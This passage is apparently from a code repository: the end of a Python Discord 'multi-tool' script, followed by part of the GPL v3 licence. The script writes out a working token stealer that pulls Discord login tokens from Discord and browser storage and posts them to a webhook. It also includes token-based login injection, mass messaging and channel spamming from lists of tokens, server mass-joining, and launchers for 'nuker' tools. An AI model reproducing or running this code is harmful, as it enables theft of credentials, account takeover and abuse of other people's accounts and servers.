requests.post(f'{api}users/@me/channels', json={'recipients': [ userId ]}, headers=headersi) 327 | channelId = requesta.json()['id'] 328 | main() 329 | elif choice == "8": 330 | bamba = input("Token: ") 331 | Message = input("Message: ") 332 | headersas = {'Authorization': bamba} 333 | channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(bamba)).json() 334 | for channel in channelIds: 335 | requests.post(f'https://discord.com/api/v9/channels/'+channel['id']+'/messages', 336 | data={"content": f"{Message}"}) 337 | elif choice == "9": 338 | f = open("Grabber.py", "a") 339 | f.write("""import os 340 | import re 341 | import json 342 | 343 | from urllib.request import Request, urlopen 344 | 345 | # your webhook URL 346 | WEBHOOK_URL = '' 347 | 348 | # mentions you when you get a hit 349 | PING_ME = False 350 | 351 | def find_tokens(path): 352 | path += '\\\\Local Storage\\\\leveldb' 353 | 354 | tokens = [] 355 | 356 | for file_name in os.listdir(path): 357 | if not file_name.endswith('.log') and not file_name.endswith('.ldb'): 358 | continue 359 | 360 | for line in [x.strip() for x in open(f'{path}\\\\{file_name}', errors='ignore').readlines() if x.strip()]: 361 | for regex in (r'[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', r'mfa\\.[\\w-]{84}'): 362 | for token in re.findall(regex, line): 363 | tokens.append(token) 364 | return tokens 365 | 366 | def main(): 367 | local = os.getenv('LOCALAPPDATA') 368 | roaming = os.getenv('APPDATA') 369 | 370 | paths = { 371 | 'Discord': roaming + '\\\\Discord', 372 | 'Discord Canary': roaming + '\\\\discordcanary', 373 | 'Discord PTB': roaming + '\\\\discordptb', 374 | 'Google Chrome': local + '\\\\Google\\\\Chrome\\\\User Data\\\\Default', 375 | 'Opera': roaming + '\\\\Opera Software\\\\Opera Stable', 376 | 'Brave': local + '\\\\BraveSoftware\\\\Brave-Browser\\\\User Data\\\\Default', 377 | 'Yandex': local + '\\\\Yandex\\\\YandexBrowser\\\\User Data\\\\Default' 378 | } 379 | 380 | message = '@everyone' if PING_ME else '' 381 | 382 | for platform, path in paths.items(): 383 | if not os.path.exists(path): 384 | continue 385 | 386 | message += f'\\n**{platform}**\\n```\\n' 387 | 388 | tokens = find_tokens(path) 389 | 390 | if len(tokens) > 0: 391 | for token in tokens: 392 | message += f'{token}' 393 | else: 394 | message += 'No tokens found.' 395 | 396 | message += '```' 397 | 398 | headers = { 399 | 'Content-Type': 'application/json', 400 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11' 401 | } 402 | 403 | payload = json.dumps({'content': message}) 404 | 405 | try: 406 | req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers) 407 | urlopen(req) 408 | except: 409 | pass 410 | 411 | if __name__ == '__main__': 412 | main()""") 413 | f.close() 414 | elif choice == "10": 415 | hypetoken = input("Token: ") 416 | print("1 - Bravery\n2 - Brilliance\n3 - Balance") 417 | hypesquad = input("Choice: ") 418 | 419 | headersosat = { 420 | 'Authorization': str(hypetoken) 421 | } 422 | 423 | payloadsosat = { 424 | 'house_id': str(hypesquad) 425 | } 426 | 427 | rep = requests.session().post("https://discord.com/api/v8/hypesquad/online", json=payloadsosat, headers=headersosat) 428 | elif choice == "11": 429 | actual = input("Webhook URL: ") 430 | msg = input("Message: ") 431 | for x in range(2): 432 | sendwebhook = requests.post(actual, json={'content': msg}) 433 | elif choice == "12": 434 | tokenbat = input("Token: ") 435 | driver = webdriver.Chrome('./utilities/chromedriver.exe') 436 | driver.get('https://discord.com/login') 437 | js = 'function login(token) {setInterval(() => {document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`}, 50);setTimeout(() => {location.reload();}, 500);}' 438 | time.sleep(3) 439 | driver.execute_script(js + f'login("{tokenbat}")') 440 | elif choice == "13": 441 | print(f"""{Fore.RED}[1]{Fore.RESET} Joiner 442 | {Fore.RED}[2]{Fore.RESET} Leaver 443 | {Fore.RED}[3]{Fore.RESET} Spammer""") 444 | rais = input("Choice: ") 445 | if rais == "1": 446 | invite = input('Invite: ') 447 | invite = invite.replace("https://discord.gg/", "") 448 | invite = invite.replace("https://discord.com/invite/", "") 449 | invite = invite.replace("discord.gg/", "") 450 | tokens = open("tokens.txt", "r").read().splitlines() 451 | for token in tokens: 452 | threading.Thread(target=join, args=(invite, token)).start() 453 | elif rais == "2": 454 | tokens = open("tokens.txt", "r").read().splitlines() 455 | guild_id = input('Server ID: ') 456 | for token in tokens: 457 | threading.Thread(target=leave, args=(guild_id, token)).start() 458 | elif rais == "3": 459 | channel = input(f'[{Fore.LIGHTGREEN_EX}X{Fore.RESET}] Channel ID: ') 460 | mess = input(f'[{Fore.LIGHTGREEN_EX}X{Fore.RESET}] Message: ') 461 | delay = input(f'[{Fore.LIGHTGREEN_EX}X{Fore.RESET}] Delay (0 - 0.5 reccomended): ') 462 | tokens = open("tokens.txt", "r").read().splitlines() 463 | 464 | def spam(token, channel, mess): 465 | url = 'https://discord.com/api/v9/channels/'+channel+'/messages' 466 | data = {"content": mess} 467 | header = {"authorization": token} 468 | 469 | 470 | while True: 471 | time.sleep(int(delay)) 472 | r = requests.post(url, data=data, headers=header) 473 | 474 | for x in range(150): 475 | for token in tokens: 476 | channel_id = channel 477 | text = mess 478 | time.sleep(int(delay)) 479 | threading.Thread(target=spam, args=(token, channel_id, text)).start() 480 | elif choice == "14": 481 | exec(open('utilities/tokenf.py').read()) 482 | elif choice == "15": 483 | print(f''' 484 | {Fore.RED}#SELFBOTS{Fore.RESET} 485 | [1] Exeter 486 | [2] Nighty 487 | 488 | 489 | {Fore.RED}#Tools{Fore.RESET} 490 | [3] AstraaHome 491 | [4] Crowntool 492 | 493 | {Fore.RED}#Nukers{Fore.RESET} 494 | [5] HazardNuker 495 | [6] AveryNuker 496 | ''') 497 | tool = input("Choice: ") 498 | if tool == "1": 499 | token = input("Token: ") 500 | with open('config.json', 'w') as f: 501 | f.write('''{ 502 | "token": "%s", 503 | "password": "", 504 | "prefix": ">", 505 | "nitro_sniper": false 506 | } 507 | ''' % (token)) 508 | time.sleep(1) 509 | call(["python", "utilities/selfbots/exeter/exeter.py"]) 510 | elif tool == "2": 511 | token = input("Token: ") 512 | with open('utilities/selfbots/nighty/config.json', 'w') as f: 513 | f.write('''{ 514 | "token": "%s", 515 | "prefix": ".", 516 | "deletetimer": 40, 517 | "errorlog": "Error!" 518 | } 519 | ''' % (token)) 520 | time.sleep(1) 521 | os.startfile(os.getcwd() + '/utilities/selfbots/nighty/Nighty.exe') 522 | elif tool == "3": 523 | call(["python", "utilities/other/Astraahome/astraahome.py"]) 524 | elif tool == "4": 525 | os.startfile(os.getcwd() + '/utilities/other/Crowntool/crowntool.exe') 526 | elif tool == "5": 527 | os.startfile(os.getcwd() + '/utilities/nukers/HazardNuker/hazard.exe') 528 | elif tool == "6": 529 | os.startfile(os.getcwd() + '/utilities/nukers/AveryNuker/avery.exe') 530 | os.system('cls') 531 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | 